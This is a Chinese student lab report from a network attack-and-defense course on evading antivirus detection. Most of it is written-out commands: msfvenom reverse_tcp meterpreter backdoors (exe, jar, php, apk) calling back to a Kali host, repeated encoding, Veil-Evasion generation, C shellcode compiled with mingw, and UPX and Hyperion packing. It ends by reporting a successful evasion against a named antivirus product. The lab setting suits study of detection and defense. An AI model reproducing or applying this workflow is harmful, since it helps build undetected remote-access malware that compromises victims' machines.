标签:加壳 出错 ruby 参数 details html 也有 scan csdn
杀软是如何检测出恶意代码的?
- 基于特征码:如果一个可执行文件(或其他运行的库、脚本等)包含有类似恶意代码的一段或多段数据则被杀软认为是恶意代码。
- 启发式恶意软件检测:如果一个软件做一些恶意软件通常干的典型例子,就把它当成一个恶意软件。
- 基于行为的恶意软件检测:在启发式基础上对软件行为进行监控
免杀是做什么?
对恶意软件做一些处理,使它不被杀毒软件所检测出来
免杀的基本方法有哪些?
- 改变特征码
- 只有EXE:加壳
- 有shellcode:利用shellcode生成可执行文件
- 有源代码:用其他语言进行重写再编译
- 改变行为:改变通讯方式或操作模式
- 利用现有playload手工打造一个后门程序
msfvenom
直接生成meterpreter
可执行文件,检出率为46/57;Msfvenom
是Metasploit平台下用来编码payloads
免杀的工具c,c#,phython,ruby,go,powershell
等重写了meterperter,然后再通过不同方式编译成exe
Shellcode
(一)正确使用msf编码器
- 我们可以使用
msfvenom -l encoders
查看可以使用的编码器来生成不同的后门,更多的参数可以参考msfvenom一些用法- 将实验二中用msf命令生成的后门程序放到virscan网站中扫描结果如下
可以知道后门程序如果不加处理,绝大多数杀软很快就可以识别出来。- 我们使用
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b ‘\x00’ LHOST=192.168.183.130 LPORT=5330 -f exe > met-encoded.exe
进行10次编码试试降低检出率
- 再在virscan网站中扫描
- 对比发现并没有实质变化,因为msfvenom会以固定的模板生成exe,所有它生成的exe,如果使用默认参数或模板,也有一定的固定特征。而AV厂商会针对其使用的模板来生成特征码,这样就一劳永逸地解决所有msfvenom生成的恶意代码了。
(二)msfvenom生成如jar之类的其他文件
- 生成jar文件:
msfvenom -p java/meterpreter/reverse_tcp lhost=192.168.183.130 lport=5330 x> 20165330_backdoor_java.jar
- 生成php文件:
msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.183.130 lport=5330 x> 20165330_backdoor.php
- 生成apk文件:
msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.183.130 LPORT=5330 R > 20165330_backdoor.apk
(三)veil-evasion
- 安装步骤参考安装免杀工具Veil-Evasion,过程很慢(耐心ing)(在最后一步输入命令回车后不要动,最后选择默认选项一直等待安装完成)(因为我的安装完后无法生成输出文件,估计因为镜像版本的原因我用的18.1版本的,就拷贝了同学的虚拟机19.1版本的veil生成成功)
- 结束后
ls
找到Veil-Evasion.py
,然后./Veil-Evasion.py
进入veil
- veil中输入
use
找到c/meterpreter/rev_tcp
,输入6
用c语言重写meterperter(如下图)
- 设置反弹连接IP:
set LHOST 192.168.183.130
(此处IP为Kali IP)- 设置端口:
set LPORT 5330
(也可以使用默认端口4444)
- 输入
generate
生成文件,然后输入playload
的名字:20165330-playload
,信息如下
- 然后我们进到目录
/usr/share/veil-output/compiled
里可以找到我们生成的文件
- 将其放在virscan网站中扫描,检出率有所降低
(四)利用shellcode编程
- 使用msf生成一段c语言格式的shellcode数组:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.183.130 LPORT=5330 -f c
- 将生成的shellcode写入到下面的C代码中进行调用,命名
5330-shellcode.c
- 交叉编译(过程见问题二)使该文件可以在windows下运行:
i686-w64-mingw32-g++ 5330-shellcode.c -o 5330-shellcode.exe
- 测试shellcode可用性(关闭杀软)
- 一开始我将生成的exe文件传到windows里用命令行运行,没有发生回连
- 之后我改用windows下的vc重新编译运行,回连成功
- 将生成的
5330-shellcode.exe
上传至virscan网站中扫描仍会被扫描出来,开启杀软会被杀掉
(五)加壳工具
- 压缩壳:
- 尝试对上面的shellcode加壳:
upx 5330-shellcode.exe -o 5330-shellcode.upxed.exe
- 测试可用性
- 上传至virscan网站中扫描,概率大大降低,但依然被360查杀
- 加密壳:
- 将生成upx文件拷贝到
/usr/share/windows-binaries/hyperion/
目录中- 进入目录
/usr/share/windows-binaries/hyperion/
中- 输入
wine hyperion.exe -v 5330-shellcode_upxed.exe 5330-shellcode_upxed_Hyperion.exe
进行加壳
- 测试可用性
- 上传至virscan网站中扫描
C语言调用shellcode+压缩壳
方式免杀成功并可以回连
杀软名称:腾讯电脑管家13.3.20237.212
电脑版本:win7 x64系统
网络适配器
均改为桥接模式
,使IP地址网段相同,ping通。在进行upx加壳时报错“upx: 5330-shellcode.exe: NotCompressibleException”
解决办法:百度后参考解决UPX NotCompressibleException静态编译后成功加壳
在测试shellcode可用性时,在windows下运行5330-shellcode.exe
提示该版本的 E:\ncat\5330-shellcode.exe 与你运行的 Windows 版本不兼容
解决办法:
- 在仔细检查前面的过程后,发现我一开始直接用了gcc来编译,这样产生的linux的可执行文件,在windows下是不能运行的。。此时需要用交叉编译来实现。
- 参考linux与windows交叉编译,
sudo apt-get install mingw-w64
下载编译软件,在编译程序i686-w64-mingw32-g++ 5330-shellcode.c -o 5330-shellcode.exe
在veil进行python语言重写时,生成文件失败,但用其他语言可以成功。。
- 我按照老师的方法,
cd setup
中找到setup.sh
后,运行./setup.sh
更新,结果报错安装依赖关系失败
。。看好多同学也是无法输出,暂时还不知怎么解决。。
2018-2019-2 20165330《网络对抗技术》Exp3 免杀原理与实践
标签:加壳 出错 ruby 参数 details html 也有 scan csdn
原文地址:https://www.cnblogs.com/besty-zyx/p/10621785.html